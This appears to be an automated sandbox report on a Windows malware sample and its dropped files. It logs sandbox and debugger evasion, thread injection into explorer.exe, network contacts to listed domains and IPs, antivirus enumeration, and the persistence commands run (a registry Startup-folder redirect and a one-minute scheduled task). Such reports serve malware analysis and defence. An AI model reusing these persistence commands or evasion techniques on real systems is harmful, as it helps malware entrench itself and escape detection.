Source: explorer.exe, 00000004.00000000.270806661.0000000008C57000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: ABA5.exe, 00000014.00000002.477833948.00000000097D0000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareHLVO1L5CWin32_VideoControllerSDOV3R7YVideoController120060621000000.000000-0002884.578display.infMSBDA_MFEBP4CPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsLXYUMUT4
Source: explorer.exe, 00000004.00000000.270452829.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.263716502.00000000059C0000.00000002.00000001.sdmp, ABA5.exe, 00000014.00000002.473670988.0000000007840000.00000002.00000001.sdmp, reg.exe, 00000025.00000002.487821037.00000000036D0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: CA5D.exe, 0000001C.00000003.453891904.00000000008D0000.00000004.00000001.sdmp	Binary or memory string: UNc3ZhgfseonE3bguH
Source: explorer.exe, 00000004.00000000.270452829.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: explorer.exe, 00000004.00000000.260581035.00000000048E0000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.270452829.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
Source: explorer.exe, 00000004.00000000.270272066.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
Source: rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000004.00000000.270272066.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW(
Source: explorer.exe, 00000004.00000000.265643002.00000000069D5000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD002
Source: explorer.exe, 00000004.00000000.263716502.00000000059C0000.00000002.00000001.sdmp, ABA5.exe, 00000014.00000002.473670988.0000000007840000.00000002.00000001.sdmp, reg.exe, 00000025.00000002.487821037.00000000036D0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000004.00000000.263716502.00000000059C0000.00000002.00000001.sdmp, ABA5.exe, 00000014.00000002.473670988.0000000007840000.00000002.00000001.sdmp, reg.exe, 00000025.00000002.487821037.00000000036D0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000004.00000000.263716502.00000000059C0000.00000002.00000001.sdmp, ABA5.exe, 00000014.00000002.473670988.0000000007840000.00000002.00000001.sdmp, reg.exe, 00000025.00000002.487821037.00000000036D0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Code function: 33_2_00404010 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,GetSystemMetrics,

33_2_00404010

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Code function: 33_2_0041B0C2 FindFirstFileExW,

33_2_0041B0C2

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\CA5D.exe

Thread information set: HideFromDebugger

Jump to behavior

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

20_2_004019F0

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

Code function: 0_2_0041BA90 LoadLibraryA,GetProcAddress,VirtualProtect,

0_2_0041BA90

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_0262092B mov eax, dword ptr fs:[00000030h]	0_2_0262092B
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_02620D90 mov eax, dword ptr fs:[00000030h]	0_2_02620D90
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_0268AD20 push dword ptr fs:[00000030h]	0_2_0268AD20
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_0249092B mov eax, dword ptr fs:[00000030h]	17_2_0249092B
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_02490D90 mov eax, dword ptr fs:[00000030h]	17_2_02490D90
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0400092B mov eax, dword ptr fs:[00000030h]	20_2_0400092B
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04000D90 mov eax, dword ptr fs:[00000030h]	20_2_04000D90
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Code function: 32_2_026F9A5B push dword ptr fs:[00000030h]	32_2_026F9A5B
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_004121C1 mov eax, dword ptr fs:[00000030h]	33_2_004121C1
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_00415F52 mov eax, dword ptr fs:[00000030h]	33_2_00415F52
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_026D9EAB push dword ptr fs:[00000030h]	33_2_026D9EAB

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process queried: DebugObjectHandle	Jump to behavior

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

Code function: 0_2_0040E5A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0040E5A0

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

Code function: 0_2_004110A0 InterlockedIncrement,__itow_s,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,_wcscpy_s,_wcscpy_s,_wcscat_s,_wcscat_s,_wcscat_s,__snwprintf_s,_wcscpy_s,_wcscpy_s,__cftoe,GetFileType,_wcslen,WriteConsoleW,GetLastError,__cftoe,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,

0_2_004110A0

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

Code function: 20_2_0040ADB0 GetProcessHeap,HeapFree,

20_2_0040ADB0

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_00416C10 __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00416C10
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_00409160 SetUnhandledExceptionFilter,	0_2_00409160
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_0040E5A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040E5A0
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_00416C10 __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00416C10
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_00409160 SetUnhandledExceptionFilter,	17_2_00409160
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_0040E5A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_0040E5A0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_0040CE09
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_0040E61C
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_00416F6A
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_004123F1 SetUnhandledExceptionFilter,	20_2_004123F1
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04012641 SetUnhandledExceptionFilter,	20_2_04012641
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0400D059 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_0400D059
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0400E86C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_0400E86C
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_040171BA __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_040171BA
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_00414AA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_00414AA3
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_00410402 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_00410402
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_00410567 SetUnhandledExceptionFilter,	33_2_00410567
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_004107B3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	33_2_004107B3

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: thegymmum.com
Source: C:\Windows\explorer.exe	Network Connect: 45.138.172.28 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: aucmoney.com
Source: C:\Windows\explorer.exe	Domain query: atvcampingtrips.com
Source: C:\Windows\explorer.exe	Network Connect: 193.142.59.248 80	Jump to behavior

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: trgavvb.4.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Code function: 33_2_00402250 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,VirtualFree,

33_2_00402250

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Thread created: C:\Windows\explorer.exe EIP: 2F71998			Jump to behavior
Source: C:\Users\user\AppData\Roaming\trgavvb	Thread created: unknown EIP: 4F21998			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Process created: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe' /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Code function: 33_2_00402A20 ShellExecuteA,

33_2_00402A20

Source: explorer.exe, 00000004.00000000.280845944.0000000001400000.00000002.00000001.sdmp, CA5D.exe, 0000001C.00000002.568521079.0000000001650000.00000002.00000001.sdmp, rnyuf.exe, 00000021.00000002.515004818.0000000002C50000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: explorer.exe, 00000004.00000000.265429051.0000000005F40000.00000004.00000001.sdmp, CA5D.exe, 0000001C.00000002.568521079.0000000001650000.00000002.00000001.sdmp, rnyuf.exe, 00000021.00000002.515004818.0000000002C50000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000000.280845944.0000000001400000.00000002.00000001.sdmp, CA5D.exe, 0000001C.00000002.568521079.0000000001650000.00000002.00000001.sdmp, rnyuf.exe, 00000021.00000002.515004818.0000000002C50000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000000.280523518.0000000000EB8000.00000004.00000020.sdmp	Binary or memory string: ProgmanX
Source: explorer.exe, 00000004.00000000.280845944.0000000001400000.00000002.00000001.sdmp, CA5D.exe, 0000001C.00000002.568521079.0000000001650000.00000002.00000001.sdmp, rnyuf.exe, 00000021.00000002.515004818.0000000002C50000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000000.270272066.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndAj

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: GetLocaleInfoA,	0_2_0041AE20
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: GetLocaleInfoA,	17_2_0041AE20
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: GetLocaleInfoA,	20_2_00417A20
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: GetLocaleInfoA,	20_2_04017C70

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\mrmoms\mrmoms.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\mrmoms\mrmoms.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Code function: 33_2_00410222 cpuid

33_2_00410222

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

Code function: 0_2_0041CDD0 lstrlen,GetFileSizeEx,SetCommState,GetQueuedCompletionStatus,IsProcessorFeaturePresent,GetOverlappedResult,GetCharWidthW,GetLastError,GetConsoleAliasesLengthA,InterlockedIncrement,LoadLibraryA,GlobalUnWire,GetBinaryType,HeapWalk,WriteProfileStringA,EnumResourceNamesA,FreeEnvironmentStringsA,OpenSemaphoreA,GetSystemTime,WriteProfileSectionA,ReleaseActCtx,FatalAppExitA,UnregisterWait,InterlockedDecrement,FindAtomA,SetThreadContext,OpenMutexW,GetConsoleMode,CopyFileExA,

0_2_0041CDD0

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Code function: 33_2_0041E94F _free,GetTimeZoneInformation,_free,

33_2_0041E94F

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Code function: 33_2_0040C0A0 Sleep,Sleep,LoadLibraryA,GetProcAddress,FreeLibrary,GetUserNameW,GetComputerNameExW,

33_2_0040C0A0

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

Code function: 0_2_0041C4D0 GetDriveTypeW,LoadLibraryA,GetModuleHandleA,CompareFileTime,GetVersionExW,VerifyVersionInfoW,OpenWaitableTimerA,GetCurrentThreadId,CreateDirectoryA,LoadLibraryA,CreateSemaphoreW,FreeEnvironmentStringsA,CompareStringW,

0_2_0041C4D0

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
